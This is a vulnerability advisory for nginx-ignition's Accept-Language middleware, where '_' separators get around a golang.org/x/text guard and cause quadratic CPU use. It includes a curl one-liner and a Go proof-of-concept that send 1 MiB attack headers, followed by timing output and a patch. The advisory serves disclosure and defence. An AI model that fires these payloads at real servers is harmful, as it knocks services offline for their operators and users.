GHSA-JR34-H97M-9HPX
Vulnerability from github – Published: 2026-09-21 21:49 – Updated: 2026-09-21 21:49Summary
The gin i18n middleware in nginx-ignition's API server runs in front of every HTTP request and calls golang.org/x/text/language.ParseAcceptLanguage on the raw Accept-Language header without imposing any size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of - characters in the input at 1000, but it does not cap _ characters even though the parser's internal scanner aliases _ to - before parsing. A single unauthenticated GET request with an Accept-Language header built out of _ separators burns about 2.4 seconds of server CPU on the host running nginx-ignition; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~10 MiB/s of upstream bandwidth.
Affected versions
dillmann.com.br/nginx-ignition v2.40.0 and (per code inspection of main) earlier 2.x versions whose api/common/server/i18n.go middleware routes the Accept-Language header through language.ParseAcceptLanguage without imposing its own size or character filter. Verified on:
- the official
dillmann/nginx-ignition:latestDocker image at v2.40.0 (E2E below) mainat commitfaef4c99442b329cfa4ee8879bdba41c22866a18by readingapi/common/server/i18n.go(the middleware is unchanged)
Privilege required
Unauthenticated. The middleware is registered on the global gin router that serves both the login page and the unauthenticated /api/health style endpoints. Anyone who can reach the HTTP listener (port 8090 by default) is in scope.
Vulnerable code
api/common/server/i18n.go (blob SHA faef4c99442b329cfa4ee8879bdba41c22866a18):
func i18nMiddleware(commands i18n.Commands) gin.HandlerFunc {
return func(ginCtx *gin.Context) {
lang := commands.DefaultLanguage()
langHeader := ginCtx.GetHeader("Accept-Language")
tags, _, err := language.ParseAcceptLanguage(langHeader)
if err == nil && len(tags) > 0 {
for _, tag := range tags {
if commands.Supports(tag) {
lang = tag
break
}
}
}
//nolint:staticcheck
updatedCtx := context.WithValue(ginCtx.Request.Context(), i18n.ContextKey, lang)
ginCtx.Request = ginCtx.Request.WithContext(updatedCtx)
ginCtx.Set(i18n.ContextKey, lang)
ginCtx.Next()
}
}
ginCtx.GetHeader("Accept-Language") is the unfiltered HTTP header. Go's default net/http MaxHeaderBytes is 1 << 20 = 1 MiB and nginx-ignition does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.
CVE-2022-32149 hardened ParseAcceptLanguage by counting - characters and rejecting inputs with more than 1000 of them. The guard does not count _ characters even though the scanner converts _ to - at parse time (golang.org/x/text/internal/language/parse.go). A 1 MiB header full of 9-character _abcdefghi tokens contains zero - characters, passes the guard, and then drives the scanner into the O(N²) gobble path.
How Accept-Language reaches ParseAcceptLanguage
Every HTTP request that hits the nginx-ignition API server passes through i18nMiddleware (registered as a global gin middleware). The middleware sequence is:
- The request enters
i18nMiddleware. ginCtx.GetHeader("Accept-Language")returns the full attacker-supplied header value.language.ParseAcceptLanguage(langHeader)runs unfiltered.
No size or character-class filter is applied between (2) and (3). The middleware runs for every gin handler, including unauthenticated paths like the root URL and /api/health (which returns 404 but still completes the middleware chain).
Proof of concept
Single-line bash reproducer that crafts the malicious header and times one request against a fresh dillmann/nginx-ignition:latest container:
docker run -d --name ngi --rm -p 18090:8090 dillmann/nginx-ignition:latest
sleep 5
PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')"
echo "header size = ${#PAYLOAD} bytes"
curl -sS -o /dev/null \
-w 'http=%{http_code} t=%{time_total}\n' \
-H "Accept-Language: ${PAYLOAD}" \
http://127.0.0.1:18090/api/health
Each 9-character _abcdefghi token has length 9, which fails the scanner's len <= 8 tag-length check at golang.org/x/text/internal/language/parse.go and triggers a gobble call that runtime.memmoves the entire remaining buffer. With N invalid tokens the total bytes moved by gobble is O(N²).
End-to-end reproduction (against dillmann/nginx-ignition:latest at v2.40.0)
A Go driver poc.go boots the container, sends a 1 MiB Accept-Language value once with - (CVE-2022-32149 guard fires) and once with _ (guard bypassed):
// poc.go
package main
import (
"fmt"
"io"
"net"
"net/http"
"strings"
"time"
)
const targetURL = "http://127.0.0.1:18090/api/health"
func buildPayload(sep string, targetBytes int) string {
const tok = "abcdefghi"
var b strings.Builder
b.Grow(targetBytes + 16)
b.WriteString("en")
for b.Len()+1+len(tok) <= targetBytes {
b.WriteString(sep)
b.WriteString(tok)
}
return b.String()
}
func send(label, header string) {
client := &http.Client{
Timeout: 60 * time.Second,
Transport: &http.Transport{
DisableKeepAlives: true,
DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,
},
}
req, _ := http.NewRequest("GET", targetURL, nil)
if header != "" {
req.Header.Set("Accept-Language", header)
}
t0 := time.Now()
resp, err := client.Do(req)
dt := time.Since(t0)
if err != nil {
fmt.Printf(" %-32s ERR after %v: %v\n", label, dt, err)
return
}
_, _ = io.Copy(io.Discard, resp.Body)
resp.Body.Close()
fmt.Printf(" %-32s header=%d B '_'=%d '-'=%d status=%d t=%v\n",
label, len(header),
strings.Count(header, "_"), strings.Count(header, "-"),
resp.StatusCode, dt)
}
func main() {
send("warm-up", "")
send("baseline (no header)", "")
send("baseline (1 short tag)", "en-US")
send("guard-fires ('-' x 1MiB)", buildPayload("-", 1<<20))
send("attack ('_' x 1MiB)", buildPayload("_", 1<<20))
send("attack repeat 2", buildPayload("_", 1<<20))
send("attack repeat 3", buildPayload("_", 1<<20))
}
Captured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the official dillmann/nginx-ignition:latest image at v2.40.0):
E2E: golang/x/text ParseAcceptLanguage '_' bypass through
lucasdillmann/nginx-ignition 2.40.0 i18nMiddleware at
api/common/server/i18n.go.
Target: http://127.0.0.1:18090/api/health payload=1048576 B
warm-up header=0 B '_'=0 '-'=0 status=404 t=10.336041ms
--- measurements (single request each) ---
baseline (no header) header=0 B '_'=0 '-'=0 status=404 t=4.211583ms
baseline (1 short tag) header=5 B '_'=0 '-'=1 status=404 t=3.276416ms
guard-fires control ('-' x payload) header=1048572 B '_'=0 '-'=104857 status=404 t=31.683792ms
attack ('_' x payload) header=1048572 B '_'=104857 '-'=0 status=404 t=2.429408875s
attack repeat 2 header=1048572 B '_'=104857 '-'=0 status=404 t=3.589948166s
attack repeat 3 header=1048572 B '_'=104857 '-'=0 status=404 t=2.415860875s
Interpretation:
| Request | Header bytes | Server time |
|---|---|---|
| no header / short tag | 0 - 5 | 3 - 11 ms |
1 MiB - separators (CVE-2022-32149 guard fires) |
1 MiB | 32 ms |
1 MiB _ separators (guard bypassed) |
1 MiB | 2.4 - 3.6 s |
The - control proves that the existing CVE-2022-32149 guard does still work on the canonical separator: a 1 MiB - payload returns in 32 ms because the parser short-circuits with ErrTagListTooLarge. The _ attack returns 404 (the same as the baseline) from the same endpoint but consumes ~2.4-3.6 s of server CPU because the guard did not fire and the quadratic scanner ran to completion. The amplification factor at the application boundary is ~75-110x (32 ms guard-fires vs 2.4-3.6 s attack on the same 1 MiB header).
Impact
- One unauthenticated client can pin one CPU core for ~2.4 seconds per 1 MiB request to any URL (the middleware runs even on 404 paths).
- Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core nginx-ignition instance indefinitely.
- The 4xx/5xx status of the eventual response does not matter — the middleware runs before route resolution, so the CPU cost is paid whether the URL exists or not.
- Self-hosted nginx-ignition instances exposed to the public internet (a documented deployment pattern in the project's README) are exposed.
Suggested fix
Apply the size / character-class filter inside the middleware before reaching language.ParseAcceptLanguage. The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count _ alongside - and short-circuit when the total exceeds a small ceiling:
// api/common/server/i18n.go
const maxAcceptLanguageSeparators = 32 // real browsers send < 10
func i18nMiddleware(commands i18n.Commands) gin.HandlerFunc {
return func(ginCtx *gin.Context) {
lang := commands.DefaultLanguage()
langHeader := ginCtx.GetHeader("Accept-Language")
if strings.Count(langHeader, "-")+strings.Count(langHeader, "_") > maxAcceptLanguageSeparators {
// Refuse to call into the BCP 47 parser with absurd input.
langHeader = ""
}
tags, _, err := language.ParseAcceptLanguage(langHeader)
if err == nil && len(tags) > 0 {
for _, tag := range tags {
if commands.Supports(tag) {
lang = tag
break
}
}
}
//nolint:staticcheck
updatedCtx := context.WithValue(ginCtx.Request.Context(), i18n.ContextKey, lang)
ginCtx.Request = ginCtx.Request.WithContext(updatedCtx)
ginCtx.Set(i18n.ContextKey, lang)
ginCtx.Next()
}
}
A real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.
The underlying issue is in golang.org/x/text/language. A future upstream fix is the right long-term solution; the change above is defensive-in-depth at the middleware that consumes attacker input.
Credit
Reported by tonghuaroot.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/lucasdillmann/nginx-ignition"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.0-20260126024607-cbaf0fc16ed8"
},
{
"fixed": "0.0.0-20260526022344-0c988fc1277c"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-61629"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-21T21:49:03Z",
"nvd_published_at": "2026-09-21T15:17:30Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe gin i18n middleware in nginx-ignition\u0027s API server runs in front of every HTTP request and calls `golang.org/x/text/language.ParseAcceptLanguage` on the raw `Accept-Language` header without imposing any size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of `-` characters in the input at 1000, but it does not cap `_` characters even though the parser\u0027s internal scanner aliases `_` to `-` before parsing. A single unauthenticated GET request with an `Accept-Language` header built out of `_` separators burns about 2.4 seconds of server CPU on the host running nginx-ignition; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~10 MiB/s of upstream bandwidth.\n\n### Affected versions\n\n`dillmann.com.br/nginx-ignition` v2.40.0 and (per code inspection of `main`) earlier 2.x versions whose `api/common/server/i18n.go` middleware routes the `Accept-Language` header through `language.ParseAcceptLanguage` without imposing its own size or character filter. Verified on:\n\n- the official `dillmann/nginx-ignition:latest` Docker image at v2.40.0 (E2E below)\n- `main` at commit `faef4c99442b329cfa4ee8879bdba41c22866a18` by reading `api/common/server/i18n.go` (the middleware is unchanged)\n\n### Privilege required\n\nUnauthenticated. The middleware is registered on the global gin router that serves both the login page and the unauthenticated `/api/health` style endpoints. Anyone who can reach the HTTP listener (port 8090 by default) is in scope.\n\n### Vulnerable code\n\n[`api/common/server/i18n.go`](https://github.com/lucasdillmann/nginx-ignition/blob/faef4c99442b329cfa4ee8879bdba41c22866a18/api/common/server/i18n.go) (blob SHA `faef4c99442b329cfa4ee8879bdba41c22866a18`):\n\n```go\nfunc i18nMiddleware(commands i18n.Commands) gin.HandlerFunc {\n return func(ginCtx *gin.Context) {\n lang := commands.DefaultLanguage()\n\n langHeader := ginCtx.GetHeader(\"Accept-Language\")\n tags, _, err := language.ParseAcceptLanguage(langHeader)\n if err == nil \u0026\u0026 len(tags) \u003e 0 {\n for _, tag := range tags {\n if commands.Supports(tag) {\n lang = tag\n break\n }\n }\n }\n\n //nolint:staticcheck\n updatedCtx := context.WithValue(ginCtx.Request.Context(), i18n.ContextKey, lang)\n ginCtx.Request = ginCtx.Request.WithContext(updatedCtx)\n ginCtx.Set(i18n.ContextKey, lang)\n ginCtx.Next()\n }\n}\n```\n\n`ginCtx.GetHeader(\"Accept-Language\")` is the unfiltered HTTP header. Go\u0027s default `net/http` `MaxHeaderBytes` is `1 \u003c\u003c 20` = 1 MiB and nginx-ignition does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.\n\nCVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters and rejecting inputs with more than 1000 of them. The guard does not count `_` characters even though the scanner converts `_` to `-` at parse time ([`golang.org/x/text/internal/language/parse.go`](https://github.com/golang/text/blob/v0.28.0/internal/language/parse.go)). A 1 MiB header full of 9-character `_abcdefghi` tokens contains zero `-` characters, passes the guard, and then drives the scanner into the O(N\u00b2) `gobble` path.\n\n### How `Accept-Language` reaches `ParseAcceptLanguage`\n\nEvery HTTP request that hits the nginx-ignition API server passes through `i18nMiddleware` (registered as a global gin middleware). The middleware sequence is:\n\n1. The request enters `i18nMiddleware`.\n2. `ginCtx.GetHeader(\"Accept-Language\")` returns the full attacker-supplied header value.\n3. `language.ParseAcceptLanguage(langHeader)` runs unfiltered.\n\nNo size or character-class filter is applied between (2) and (3). The middleware runs for every gin handler, including unauthenticated paths like the root URL and `/api/health` (which returns 404 but still completes the middleware chain).\n\n### Proof of concept\n\nSingle-line bash reproducer that crafts the malicious header and times one request against a fresh `dillmann/nginx-ignition:latest` container:\n\n```bash\ndocker run -d --name ngi --rm -p 18090:8090 dillmann/nginx-ignition:latest\nsleep 5\n\nPAYLOAD=\"en$(python3 -c \u0027print(\"_abcdefghi\" * 100000, end=\"\")\u0027)\"\necho \"header size = ${#PAYLOAD} bytes\"\n\ncurl -sS -o /dev/null \\\n -w \u0027http=%{http_code} t=%{time_total}\\n\u0027 \\\n -H \"Accept-Language: ${PAYLOAD}\" \\\n http://127.0.0.1:18090/api/health\n```\n\nEach 9-character `_abcdefghi` token has length 9, which fails the scanner\u0027s `len \u003c= 8` tag-length check at `golang.org/x/text/internal/language/parse.go` and triggers a `gobble` call that `runtime.memmove`s the entire remaining buffer. With N invalid tokens the total bytes moved by `gobble` is O(N\u00b2).\n\n### End-to-end reproduction (against `dillmann/nginx-ignition:latest` at v2.40.0)\n\nA Go driver `poc.go` boots the container, sends a 1 MiB `Accept-Language` value once with `-` (CVE-2022-32149 guard fires) and once with `_` (guard bypassed):\n\n```go\n// poc.go\npackage main\n\nimport (\n \"fmt\"\n \"io\"\n \"net\"\n \"net/http\"\n \"strings\"\n \"time\"\n)\n\nconst targetURL = \"http://127.0.0.1:18090/api/health\"\n\nfunc buildPayload(sep string, targetBytes int) string {\n const tok = \"abcdefghi\"\n var b strings.Builder\n b.Grow(targetBytes + 16)\n b.WriteString(\"en\")\n for b.Len()+1+len(tok) \u003c= targetBytes {\n b.WriteString(sep)\n b.WriteString(tok)\n }\n return b.String()\n}\n\nfunc send(label, header string) {\n client := \u0026http.Client{\n Timeout: 60 * time.Second,\n Transport: \u0026http.Transport{\n DisableKeepAlives: true,\n DialContext: (\u0026net.Dialer{Timeout: 5 * time.Second}).DialContext,\n },\n }\n req, _ := http.NewRequest(\"GET\", targetURL, nil)\n if header != \"\" {\n req.Header.Set(\"Accept-Language\", header)\n }\n t0 := time.Now()\n resp, err := client.Do(req)\n dt := time.Since(t0)\n if err != nil {\n fmt.Printf(\" %-32s ERR after %v: %v\\n\", label, dt, err)\n return\n }\n _, _ = io.Copy(io.Discard, resp.Body)\n resp.Body.Close()\n fmt.Printf(\" %-32s header=%d B \u0027_\u0027=%d \u0027-\u0027=%d status=%d t=%v\\n\",\n label, len(header),\n strings.Count(header, \"_\"), strings.Count(header, \"-\"),\n resp.StatusCode, dt)\n}\n\nfunc main() {\n send(\"warm-up\", \"\")\n send(\"baseline (no header)\", \"\")\n send(\"baseline (1 short tag)\", \"en-US\")\n send(\"guard-fires (\u0027-\u0027 x 1MiB)\", buildPayload(\"-\", 1\u003c\u003c20))\n send(\"attack (\u0027_\u0027 x 1MiB)\", buildPayload(\"_\", 1\u003c\u003c20))\n send(\"attack repeat 2\", buildPayload(\"_\", 1\u003c\u003c20))\n send(\"attack repeat 3\", buildPayload(\"_\", 1\u003c\u003c20))\n}\n```\n\nCaptured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the official `dillmann/nginx-ignition:latest` image at v2.40.0):\n\n```\nE2E: golang/x/text ParseAcceptLanguage \u0027_\u0027 bypass through\nlucasdillmann/nginx-ignition 2.40.0 i18nMiddleware at\napi/common/server/i18n.go.\n\nTarget: http://127.0.0.1:18090/api/health payload=1048576 B\n\n warm-up header=0 B \u0027_\u0027=0 \u0027-\u0027=0 status=404 t=10.336041ms\n\n--- measurements (single request each) ---\n baseline (no header) header=0 B \u0027_\u0027=0 \u0027-\u0027=0 status=404 t=4.211583ms\n baseline (1 short tag) header=5 B \u0027_\u0027=0 \u0027-\u0027=1 status=404 t=3.276416ms\n guard-fires control (\u0027-\u0027 x payload) header=1048572 B \u0027_\u0027=0 \u0027-\u0027=104857 status=404 t=31.683792ms\n attack (\u0027_\u0027 x payload) header=1048572 B \u0027_\u0027=104857 \u0027-\u0027=0 status=404 t=2.429408875s\n attack repeat 2 header=1048572 B \u0027_\u0027=104857 \u0027-\u0027=0 status=404 t=3.589948166s\n attack repeat 3 header=1048572 B \u0027_\u0027=104857 \u0027-\u0027=0 status=404 t=2.415860875s\n```\n\nInterpretation:\n\n| Request | Header bytes | Server time |\n|------------------------------------------|--------------|-------------|\n| no header / short tag | 0 - 5 | 3 - 11 ms |\n| 1 MiB `-` separators (CVE-2022-32149 guard fires) | 1 MiB | 32 ms |\n| 1 MiB `_` separators (guard bypassed) | 1 MiB | 2.4 - 3.6 s |\n\nThe `-` control proves that the existing CVE-2022-32149 guard does still work on the canonical separator: a 1 MiB `-` payload returns in 32 ms because the parser short-circuits with `ErrTagListTooLarge`. The `_` attack returns 404 (the same as the baseline) from the same endpoint but consumes ~2.4-3.6 s of server CPU because the guard did not fire and the quadratic scanner ran to completion. The amplification factor at the application boundary is ~75-110x (32 ms guard-fires vs 2.4-3.6 s attack on the same 1 MiB header).\n\n### Impact\n\n- One unauthenticated client can pin one CPU core for ~2.4 seconds per 1 MiB request to any URL (the middleware runs even on 404 paths).\n- Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core nginx-ignition instance indefinitely.\n- The 4xx/5xx status of the eventual response does not matter \u2014 the middleware runs before route resolution, so the CPU cost is paid whether the URL exists or not.\n- Self-hosted nginx-ignition instances exposed to the public internet (a documented deployment pattern in the project\u0027s README) are exposed.\n\n### Suggested fix\n\nApply the size / character-class filter inside the middleware before reaching `language.ParseAcceptLanguage`. The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count `_` alongside `-` and short-circuit when the total exceeds a small ceiling:\n\n```go\n// api/common/server/i18n.go\nconst maxAcceptLanguageSeparators = 32 // real browsers send \u003c 10\n\nfunc i18nMiddleware(commands i18n.Commands) gin.HandlerFunc {\n return func(ginCtx *gin.Context) {\n lang := commands.DefaultLanguage()\n\n langHeader := ginCtx.GetHeader(\"Accept-Language\")\n if strings.Count(langHeader, \"-\")+strings.Count(langHeader, \"_\") \u003e maxAcceptLanguageSeparators {\n // Refuse to call into the BCP 47 parser with absurd input.\n langHeader = \"\"\n }\n tags, _, err := language.ParseAcceptLanguage(langHeader)\n if err == nil \u0026\u0026 len(tags) \u003e 0 {\n for _, tag := range tags {\n if commands.Supports(tag) {\n lang = tag\n break\n }\n }\n }\n\n //nolint:staticcheck\n updatedCtx := context.WithValue(ginCtx.Request.Context(), i18n.ContextKey, lang)\n ginCtx.Request = ginCtx.Request.WithContext(updatedCtx)\n ginCtx.Set(i18n.ContextKey, lang)\n ginCtx.Next()\n }\n}\n```\n\nA real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.\n\nThe underlying issue is in `golang.org/x/text/language`. A future upstream fix is the right long-term solution; the change above is defensive-in-depth at the middleware that consumes attacker input.\n\n### Credit\n\nReported by tonghuaroot.",
"id": "GHSA-jr34-h97m-9hpx",
"modified": "2026-09-21T21:49:03Z",
"published": "2026-09-21T21:49:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lucasdillmann/nginx-ignition/security/advisories/GHSA-jr34-h97m-9hpx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61629"
},
{
"type": "WEB",
"url": "https://github.com/lucasdillmann/nginx-ignition/pull/125"
},
{
"type": "WEB",
"url": "https://github.com/lucasdillmann/nginx-ignition/commit/0c988fc1277c7d291725e8373313f8486fa1b31a"
},
{
"type": "WEB",
"url": "https://github.com/lucasdillmann/nginx-ignition/commit/cbaf0fc16ed873f7178a2ca9b0d00a696e44b485"
},
{
"type": "PACKAGE",
"url": "https://github.com/lucasdillmann/nginx-ignition"
},
{
"type": "WEB",
"url": "https://github.com/lucasdillmann/nginx-ignition/releases/tag/2.40.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "nginx ignition has ParseAcceptLanguage `_` separator bypass that enables ~75x CPU amplification via Accept-Language header in i18nMiddleware"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.